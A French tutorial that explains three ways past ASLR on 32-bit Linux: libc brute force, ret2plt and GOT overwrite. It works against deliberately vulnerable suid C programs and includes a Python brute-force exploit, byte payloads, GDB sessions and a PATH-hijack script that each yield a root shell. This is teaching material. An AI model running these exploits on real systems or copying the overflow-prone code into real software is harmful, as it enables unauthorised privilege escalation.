L'ASLR ou Address Space Layout Randomization, est une technique de protection contre les buffer overflows. Alors que l'attaque demande une grande précision, ASLR va réarranger aléatoirement l'espace d'adressage en affectant :
rendant ainsi l'attaque encore plus difficile. Les attaques Ret2libc, l'injection de shellcode via les variables d'environnement et autres techniques déjà connues ne sont plus possibles à cause de l'ASLR. Mais les hackers ont toujours eu beaucoup d'imagination, et des techniques de contournement existent.
Nous considérerons que le lecteur possède déjà les connaissances de base au sujet des stack based buffer overflows. Si ce n'est pas le cas, lire l'article sur les buffers overflows du wiki est recommandé.
Pour ré-activer l'ASLR si nécessaire (par défaut activée), entrez la commande en tant que root :
#echo 2 > /proc/sys/kernel/randomize_va_space
Environnement:
GCC : gcc (Debian 4.9.2-10) 4.9.2
GDB : GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
OS : Debian Jessie
Tous les programmes présentés possèdent le bit suid
NB: l'attaque Return Oriented Programming (ROP) ne sera pas présentée ici, puisqu'elle est expliquée dans l'article sur les buffer overflows du Wiki.
Nous commencerons pas l'attaque la moins « propre », mais sans doute aussi la moins difficile.
Le programme que nous allons utiliser est le suivant :
#include <stdio.h> #include <stdlib.h> #include <string.h> void vuln(const char* name){ printf("Hello, who are you ?\n"); char buffer[42]; strcpy(buffer, name); printf("Nice to meet you %s ! And my name is JohnCena !!\n", buffer); } int main(int argc, char ** argv){ if (argc < 2){ printf("Need one arg plz\n"); return 1; } vuln(argv[1]); return 0; }
En tapant la commande suivante, nous vérifions que l'exécutable généré possède le bit suid
:
$ ls -alt bruteForce -rwsr-sr-x 1 root root 5196 févr. 17 17:07 bruteForce
Le petit s à gauche dans les flags nous prouve que oui. Nous allons donc pouvoir élever nos privilèges.
Avant de commencer l'attaque, vérifions que la randomisation est bien activée :
$ ldd ./bruteForce | grep libc libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf75b5000) $ ldd ./bruteForce | grep libc libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf754c000) $ ldd ./bruteForce | grep libc libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf75c1000) $ ldd ./bruteForce | grep libc libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf754f000) $ ldd ./bruteForce | grep libc libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf75a3000) $ ldd ./bruteForce | grep libc libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf7510000) $ ldd ./bruteForce | grep libc libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf753d000)
Nous voyons grâce aux adresses sur la droite que la randomisation semble n'affecter que 8 bits (la plupart du temps, à de rares exceptions près le troisième chiffre change), ce qui réduit grandement les possibilités : une attaque brute force semble donc raisonnable.
Comme adresse de base pour l'attaque nous allons donc choisir l'une d'entre elles, mettons la deuxième: 0xf754c000
. Nous supposerons donc arbitrairement que le programme sera chargé à cette adresse. En relançant plusieurs fois de suite le programme, il y a des chances que nous tombions juste au moins une fois.
Nous allons nous inspirer d'une ret2libc, et donc pour cela il nous faut trouver les offsets pour les fonctions system
et exit
:
$ readelf -s /lib/i386-linux-gnu/i686/cmov/libc.so.6 | grep exit 111: 000315e0 58 FUNC GLOBAL DEFAULT 12 __cxa_at_quick_exit@@GLIBC_2.10 139: 000311b0 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0 446: 00031620 276 FUNC GLOBAL DEFAULT 12 __cxa_thread_atexit_impl@@GLIBC_2.18 554: 000b730e 24 FUNC GLOBAL DEFAULT 12 _exit@@GLIBC_2.0 609: 0011b580 56 FUNC GLOBAL DEFAULT 12 svc_exit@@GLIBC_2.0 645: 000315b0 45 FUNC GLOBAL DEFAULT 12 quick_exit@@GLIBC_2.10 868: 000313e0 84 FUNC GLOBAL DEFAULT 12 __cxa_atexit@@GLIBC_2.1.3 1037: 00125530 60 FUNC GLOBAL DEFAULT 12 atexit@GLIBC_2.0 1380: 001a9204 4 OBJECT GLOBAL DEFAULT 31 argp_err_exit_status@@GLIBC_2.1 1491: 000f8900 62 FUNC GLOBAL DEFAULT 12 pthread_exit@@GLIBC_2.0 2087: 001a9154 4 OBJECT GLOBAL DEFAULT 31 obstack_exit_failure@@GLIBC_2.0 2240: 000311e0 77 FUNC WEAK DEFAULT 12 on_exit@@GLIBC_2.0 2383: 000f9d30 2 FUNC GLOBAL DEFAULT 12 __cyg_profile_func_exit@@GLIBC_2.2
La fonction qui nous intéresse ici est exit@@GLIBC_2.0
, à la deuxième ligne. L'offset est donc 0x000311b0
. Faisons de même pour system
:
$ readelf -s /lib/i386-linux-gnu/i686/cmov/libc.so.6 | grep system 243: 001183d0 73 FUNC GLOBAL DEFAULT 12 svcerr_systemerr@@GLIBC_2.0 620: 0003e3e0 56 FUNC GLOBAL DEFAULT 12 __libc_system@@GLIBC_PRIVATE 1443: 0003e3e0 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
Nous repérons cette fois-ci la routine system@@GLIBC_2.0
, et donc le second offset est 0x0003e3e0
.
Enfin, pour l'argument de la fonction system
, nous aimerions que ce soit la string « /bin/sh » . Elle est déjà sûrement mappée dans la libc, mais pour se faciliter la tâche nous allons choisir une string de substitution ayant une adresse fixe:
$ readelf -x .rodata ./bruteForce Vidange hexadécimale de la section « .rodata » : 0x08048578 03000000 01000200 48656c6c 6f2c2077 ........Hello, w 0x08048588 686f2061 72652079 6f75203f 00000000 ho are you ?.... 0x08048598 4e696365 20746f20 6d656574 20796f75 Nice to meet you 0x080485a8 20257320 2120416e 64206d79 206e616d %s ! And my nam 0x080485b8 65206973 204a6f68 6e43656e 61202121 e is JohnCena !! 0x080485c8 0a004e65 6564206f 6e652061 72672070 ..Need one arg p 0x080485d8 6c7a00 lz.
La string « lz » en 0x080485d8
est un choix judicieux puisqu'elle se termine par un null byte
. Il nous faut donc créer un exécutable nommé « lz » que nous placerons dans un répertoire où nous avons les droits d'exécution (/tmp
par exemple) :
$ cat > /tmp/lz #!/bin/sh /bin/sh $ chmod +x /tmp/lz
Ensuite, modifions la variable d'environnement afin d'y ajouter /tmp
pour que notre script soit trouvé :
$ export PATH='/tmp':$PATH
La dernière étape avant le codage de l'exploit consiste à calculer la taille de la string « junk » pour remplir le buffer avant d'écraser l'adresse de retour. Pour cela, lançons GDB et observons :
$ gdb ./bruteForce … (gdb) disas vuln Dump of assembler code for function vuln: ... 0x08048477 <+28>: lea -0x32(%ebp),%eax ... End of assembler dump.
D'après la ligne <+28>, notre buffer est à 50 (0x32
) bytes du pointeur de base. Si l'on ajoute 4 bytes pour écraser la sauvegarde de %ebp
, nous avons donc 54 bytes de « junk ».
Maintenant que nous avons tous les éléments nécessaires, nous allons écrire un petit script Python afin d'automatiser tout ceci.
Tout d'abord, les imports et les variables :
import struct import subprocess base = 0xf754c000 #adresse arbitraire de base choisie au début system_offset = 0x0003e3e0 #offset pour system exit_offset = 0x000311b0 #offset pour exit binsh = 0x080485d8 #adresse de "lz"
Ensuite calculons les adresses d'après les offsets :
system_addr = base + system_offset exit_addr = base + exit_offset
Puis construisons la payload :
payload = "A" * 54 payload += struct.pack("<I",system_addr) #little-endian payload += struct.pack("<I",exit_addr) #idem payload += struct.pack("<I",binsh) #idem
Enfin, il ne reste qu'à coder la boucle infinie qui va lancer le programme jusqu'à tomber juste sur l'adresse prévue :
while (1): result = subprocess.call(["./bruteForce", payload]) if not result: print "OKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOK" exit(0) else: print "NOPE\n" print "End"
A présent, nous pouvons lancer le script et attendre. Et finalement au bout de quelques essais :
$ python exploit.py … Hello, who are you ? Nice to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��X���W ! And my name is JohnCena !! NOPE Hello, who are you ? Nice to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��X���W ! And my name is JohnCena !! NOPE Hello, who are you ? Nice to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��X���W ! And my name is JohnCena !! # whoami root
Boom !
NB: Parfois le programme va peut-être réagir étrangement, par exemple en imprimant les OKs sans garder le stdin
ouvert, et parfois le stdin
sera ouvert mais les commandes tapées ne donneront rien. Dans ce cas, la meilleure solution reste encore d'arrêter le script et de le relancer.
Commençons par un peu de théorie (pas trop, promis), essentielle pour comprendre le fonctionnement de l'attaque.
Le problème :
Les librairies partagées sont faites comme le nom l'indique pour être partagées entre plusieurs processus. Dès lors que le segment .text
est partagé, il ne doit pas être accessible en écriture. De fait, le linker n'a pas la permission de modifier les symboles ou les adresses présentes dans la section .text
. La solution pour lui est alors d'utiliser PIC.
PIC (Position Independant Code) :
Ce mécanisme permet d'assurer que le segment .text
d'une librairie va pouvoir être partagé entre plusieurs processus tout en effectuant une « relocation » (je n'ai pas trouvé de traduction vraiment satisfaisante en français…). Le segment .text
ne contient pas d'adresses et de symboles absolus, mais des références vers les valeurs placées une table (Global Offset Table ou GOT) située dans le segment .data
, ce dernier étant unique à chaque processus. Cette table est remplie par le linker et permet donc de faire l'indirection, tout en gardant le segment .text
inchangé.
La GOT étant à une position connue, les entrées qu'elle contient sont exprimées de manière relatives, par des offsets.
Procedure Linkage Table (PLT)
Les deux notions précédentes sont nécessaires à la compréhension du fonctionnement de la PLT, qui sera au cœur de notre attaque. Cette table utilise une double indirection afin de retrouver une fonction de la libc. Chaque entrée dans la table n'est qu'un morceau de code (stub) permettant d'appeler la vraie fonction. De fait, lorsque l'instruction call
dans .text
est rencontrée, le stub (func@plt
) associé à la fonction dans la PLT permet au linker de retrouver la vraie fonction. La résolution n'est faite que lors du premier appel, puisqu'une entrée est alors ajoutée dans la GOT et sera utilisée lors des appels futurs à ladite fonction.
Pour illustrer ceci de manière une peu plus concrète, prenons ce programme très original (nommé plt
) :
#include <stdlib.h> #include <stdio.h> int main(int argc, char ** argv){ printf("Hello world!\n"); return 0; }
Avec l'aide de GDB, observons ce qu'il se passe lors de l'appel de puts
(printf
):
$ gdb ./plt … (gdb) disas puts Dump of assembler code for function puts@plt: 0x080482d0 <+0>: jmp *0x80496bc 0x080482d6 <+6>: push $0x0 0x080482db <+11>: jmp 0x80482c0 End of assembler dump. (gdb) x/x 0x80496bc 0x80496bc <puts@got.plt>: 0x080482d6
A la ligne <+0> nous voyons qu'un jump
est effectué en 0x80496bc
. En regardant ce qu'il se trouve à cette adresse, nous voyons ensuite qu'il sagit de puts@got.plt
, donc nous voyons bien ici l'utilisation de la GOT lors de l'appel d'une fonction externe.
Cette fois-ci, nous n'allons pas tenter de retourner vers une fonction de la libc, mais nous allons utiliser la PLT. Cette table étant utilisée lors de l'appel de routines externes dont les adresses sont inconnues au moment du linkage, ces dernières sont donc dynamiquement trouvées pendant le run time, et non randomisées. Et là, si vous avez bien compris ce qui a été expliqué, vous vous demandez sûrement pourquoi nous avons parlé des librairies alors que nous voulons attaquer un simple exécutable ! En fait, même les exécutables non partagés entre plusieurs processus ont eux aussi besoin de telles tables. Par défaut, les segments .text
n'ont pas la permission en écriture. Ainsi, comme pour les librairies partagées, les exécutables ont besoin de la GOT et de la PLT afin de permettre au linker de faire une relocation.
A présent, passons à l'attaque, et tentant de tirer profit du programme suivant :
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> void vuln(const char *pCommand){ char command[10]; strncpy(command, "/bin/", 5); command[5] = '\0'; strcat(command, pCommand); printf("Command: %s\n", command); if (getuid() == 0){ system(command); } else{ if (!strcmp("/bin/date", command)){ system("/bin/date"); } else{ printf("Not allowed\n"); } } } int main(int argc, char **argv){ if (argc < 2){ printf("Usage: ./ret2plt <cmd>\n"); exit(1); } vuln(argv[1]); return 0; }
En tant qu'attaquant, nous savons que getuid
ne renverra pas 0, et par conséquent nous ne sommes a priori autorisés qu'à exécuter la commande date
, avec un chemin absolu :
$ ./ret2plt sh Command: /bin/sh Not allowed $ ./ret2plt date Command: /bin/date samedi 18 février 2017, 11:37:16 (UTC+0100)
Oui, mais :
$ ./ret2plt aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Command: /bin/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Not allowed Erreur de segmentation
Un overflow est donc possible grâce à strcat
, peu soucieuse de la nouvelle taille du buffer après concaténation !
ASLR nous empêchant de faire une classique ret2libc, nous allons essayer de trouver les adresses de exit@plt
et system@plt
(par pur hasard, les deux fonctions sont présentes dans le code …).
Avec l'aide de GDB, désassemblons la fonction vuln
afin de trouver ces adresses:
(gdb) disas vuln Dump of assembler code for function vuln: … 0x08048592 <+119>: call 0x80483e0 <system@plt> … End of assembler dump. (gdb) disas main Dump of assembler code for function main: … 0x080485db <+45>: call 0x8048400 <exit@plt> … End of assembler dump.
En plus de récupérer les adresses, nous pouvons déterminer quelle est la taille de l'écart entre le buffer et l'adresse de retour (break juste après l'appel de strcat
) :
(gdb) break *0x08048541 Breakpoint 1 at 0x8048541 (gdb) run AAAA Starting program: /home/john/Documents/ret2plt AAAA Breakpoint 1, 0x0804853c in vuln () (gdb) x/16x $esp 0xffa39800:0xffa39816 0xffa3b641 0xf75cdbf8 0xf75f2243 0xffa39810:0x00000000 0x622f0000 0x412f6e69 0x00414141 0xffa39820:0xffa3b61b 0x0000002f 0xffa39848 0x080485f1 0xffa39830:0xffa3b641 0xffa398f4 0xffa39900 0xf75f23fd (gdb) x/x $ebp 0xffa39828: 0xffa39848 (gdb) x/x 0x080485f1 0x80485f1 <main+67>: 0xb810c483
Nous voyons que %ebp
est en 0xffa39828
, et donc la valeur juste après (0x080485f1
) est l'adresse de retour à écraser. D'après la position du dernier 41 (code ASCII de « A » en hexadécimal), nous déduisons qu'il faut 13 bytes supplémentaires (soit un total de 17 bytes) avant d'écraser l'adresse de retour.
Ensuite, il nous faut déterminer l'adresse de la commande passée en paramètre. Comme précédemment, nous allons choisir une string de substitution :
$ readelf -x .rodata ./ret2plt Vidange hexadécimale de la section « .rodata » : 0x08048698 03000000 01000200 436f6d6d 616e643a ........Command: 0x080486a8 2025730a 002f6269 6e2f6461 7465004e %s../bin/date.N 0x080486b8 6f742061 6c6c6f77 65640055 73616765 ot allowed.Usage 0x080486c8 3a202e2f 72657432 706c7420 3c636d64 : ./ret2plt <cmd 0x080486d8 3e00
Nous choisissons pour l'exemple la string « te » (à la fin de « date »), à l'adresse 0x080486b4
.
$ cat > /tmp/te #!/bin/sh /bin/sh $ chmod +x /tmp/te $ export PATH='/tmp':$PATH
Avant l'appel de la fonction system
le haut de la pile doit être :
< adresse system@plt > < adresse exit@plt > < adresse de «te» >
donc nous construisons la payload comme ceci :
17 * A + \xe0\x83\x04\x08 + \x00\x84\x04\x08 + \xb4\x86\x04\x08
Essayons :
$ ./ret2plt $(python -c "print 'A' * 17 + '\xe0\x83\x04\x08' + '\x00\x84\x04\x08' + '\xb4\x86\x04\x08'") Command: /bin/AAAAAAAAAAAAAAAAA�����# Not allowed Erreur de segmentation
L'attaque ne semble pas fonctionner…
En effet, cela n'aura pas échapper à certains : l'adresse de exit
contient un null byte
, et donc la string n'est pas copiée jusqu'au bout !
En fait, ça n'est pas très grave car l'appel de exit
n'est pas nécessaire. En fait, son adresse sert simplement d'adresse de retour après l'appel de system
, afin que le programme se finisse proprement. Mais ici, nous allons nous en passer et ajouter une string « junk » de 4 caractères à la place :
$ ./ret2plt $(python -c "print 'A' * 17 + '\xe0\x83\x04\x08' + 'AAAA' + '\xb4\x86\x04\x08'") Command: /bin/AAAAAAAAAAAAAAAAA��AAAA��# Not allowed # whoami root
Enjoy your shell !
Pour cette troisième attaque, nous allons nous baser sur ce programme:
#include <stdio.h> #include <stdlib.h> #include <string.h> #define SIZE 141 void displayTweets(int, char **); int main(int argc, char **argv){ if(argc == 1){ exit(0); } displayTweets(argc-1, argv); printf("Time: \n"); system("/bin/date"); return 0; } void displayTweets(int nbTweets, char ** strings){ char* tweetPtr = NULL; char tweet[SIZE]; tweetPtr = tweet; int i = 0; for (i = 0; i < nbTweets; i++){ strcpy(tweetPtr, strings[1+i]); printf("Tweet: %s at %p\n", tweetPtr, &tweetPtr); } }
Comme la fonction system
est présente dans le code, nous allons pouvoir corrompre la GOT afin de l'exécuter.
L'attaque va se dérouler ainsi, en 4 étapes-clefs :
tweetPtr
sur GOT[printf
]printf
tweetPtr
pointe sur GOT[printf
], overflower à nouveau pour corrompre l'entréeprintf
, qui vaut maintenant system@plt
…Lançons l'ami GDB afin de trouver quelques adresses intéressantes :
(gdb) disas displayTweets Dump of assembler code for function displayTweets: 0x0804851e <+0>: push %ebp 0x0804851f <+1>: mov %esp,%ebp 0x08048521 <+3>: sub $0xa8,%esp 0x08048527 <+9>: movl $0x0,-0x10(%ebp) 0x0804852e <+16>: lea -0x9d(%ebp),%eax 0x08048534 <+22>: mov %eax,-0x10(%ebp) 0x08048537 <+25>: movl $0x0,-0xc(%ebp) 0x0804853e <+32>: movl $0x0,-0xc(%ebp) 0x08048545 <+39>: jmp 0x8048587 <displayTweets+105> 0x08048547 <+41>: mov -0xc(%ebp),%eax 0x0804854a <+44>: add $0x1,%eax 0x0804854d <+47>: lea 0x0(,%eax,4),%edx 0x08048554 <+54>: mov 0xc(%ebp),%eax 0x08048557 <+57>: add %edx,%eax 0x08048559 <+59>: mov (%eax),%edx 0x0804855b <+61>: mov -0x10(%ebp),%eax 0x0804855e <+64>: sub $0x8,%esp 0x08048561 <+67>: push %edx 0x08048562 <+68>: push %eax 0x08048563 <+69>: call 0x8048360 <strcpy@plt> 0x08048568 <+74>: add $0x10,%esp 0x0804856b <+77>: mov -0x10(%ebp),%eax 0x0804856e <+80>: sub $0x4,%esp 0x08048571 <+83>: lea -0x10(%ebp),%edx 0x08048574 <+86>: push %edx 0x08048575 <+87>: push %eax 0x08048576 <+88>: push $0x8048641 0x0804857b <+93>: call 0x8048350 <printf@plt> 0x08048580 <+98>: add $0x10,%esp 0x08048583 <+101>: addl $0x1,-0xc(%ebp) 0x08048587 <+105>: mov -0xc(%ebp),%eax 0x0804858a <+108>: cmp 0x8(%ebp),%eax 0x0804858d <+111>: jl 0x8048547 <displayTweets+41> 0x0804858f <+113>: leave 0x08048590 <+114>: ret End of assembler dump.
Les lignes <+16> , <+22> et <+61> nous prouvent qu'il y un écart de 141 bytes entre le buffer et le pointeur. En effet, en <+61>, nous voyons que le pointeur de situe en %ebp - 0x10
. Or aux lignes <+16> et <+22>, nous voyons que le valeur placée à cet endroit est égale à %ebp-0x9d
. Il y a donc bien un écart de 0x9d - 0x10 = 0x8d
entre le pointeur et le début du buffer.
Lors du premier tour de boucle, les 2 premières étapes-clefs vont être effectuées, puisque la valeur du pointeur va être modifiée afin de pointer sur GOT[printf
]. Il faudra un tour supplémentaire pour effectuer les 2 dernières étapes clefs : écraser l'adresse de GOT[printf
] par l'adresse de system@plt
et appeler printf
. Nous devons donc soumettre 2 arguments.
A présent, cherchons les adresses de la méthode printf
à l'aide de l'adresse trouvée en <+93>:
(gdb) x/i 0x8048350 0x8048350 <printf@plt>: jmp *0x8049868 (gdb) x/i 0x8049868 0x8049868 <printf@got.plt>: push %esi
Faisons de même avec system
, puisqu'elle possède une entrée associée dans la PLT :
(gdb) disas main Dump of assembler code for function main: … 0x08048509 <+78>: call 0x8048380 <system@plt> … End of assembler dump.
A présent, nous savons qu'il faut écrire 141 bytes de junk avant d'écraser tweetPtr
avec l'adresse de GOT[printf
], soit 0x8049868
. Ensuite, lors du deuxième tour de boucle strcpy
se chargera d'écrire l'adresse de system@plt
(0x8048380
) au nouvel endroit pointé par tweetPtr
!
Pour le premier argument, nous avons donc:
A * 141 + '\x68\x98\x04\x08'
Et pour le second argument, nous mettrons uniquement l'adresse de system@plt
.
Relançons GDB en plaçant un breakpoint juste après strcpy
:
(gdb) break *0x08048568 Breakpoint 1 at 0x8048568 (gdb) run $(python -c "print 'A' * 141 + '\x68\x98\x04\x08'") $(python -c "print '\x80\x83\x04\x08'") Starting program: /home/john/Documents/corrupGot $(python -c "print 'A' * 141 + '\x68\x98\x04\x08'") $(python -c "print '\x80\x83\x04\x08'") Breakpoint 1, 0x08048568 in displayTweets ()
Nous savons que le pointeur est à %ebp - 0x10
d'après le dump, donc:
(gdb) x/x $ebp-0x10 0xfffcf708: 0x08049868 (gdb) x/x 0x08049868 0x08049868 <printf@got.plt>: 0x08048356 (gdb) x/x 0x08048356 0x8048356 <printf@plt+6>: 0x00000068 (gdb) continue Continuing. Tweet: P�d���h�v�������p�a� at 0xfffcf708 Breakpoint 1, 0x08048568 in displayTweets ()
Le programme a effectué un premier tour de boucle et est revenu au niveau du breakpoint. Analysons :
(gdb) x/x $ebp-0x10 0xfffcf708: 0x08049868 (gdb) x/x 0x08049868 0x08049868 <printf@got.plt>: 0x08048380 (gdb) x/x 0x08048380 0x8048380 <system@plt>: 0x987425ff
Nous voyons à présent que GOT[printf
] pointe maintenant vers system@plt
! Poursuivons l'exécution :
(gdb) continue Continuing. sh: 1: Tweet:: not found Time: dimanche 19 février 2017, 09:33:19 (UTC+0100) [Inferior 1 (process 3427) exited normally]
Nous voyons que la fonction system
a tenté d'exécuter la commande « Tweet : » (n'oubliez pas la semi-colonne!), qui bien sûr n'existe pas. Comme auparavant, nous n'avons qu'à créer un script nommé « Tweet: » dans un dossier avec les droits d'écriture et modifier la variable PATH :
$ cat > /tmp/Tweet: #/bin/sh /bin/sh $ chmod +x /tmp/Tweet: $ export PATH='/tmp':$PATH
Puis relançons l'exécution sans GDB :
$ ./corrupGot $(python -c "print 'A' * 141 + '\x68\x98\x04\x08'") $(python -c "print '\x80\x83\x04\x08'") Tweet: P�c���g�v�������py`� at 0xffecee88 # whoami root
BOOM !
Ressources :
Ret2PLT: http://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries
Ret2PLT: https://sploitfun.wordpress.com/2015/05/08/
Corruption de la GOT : http://www.infosecwriters.com/text_resources/pdf/GOT_Hijack.pdf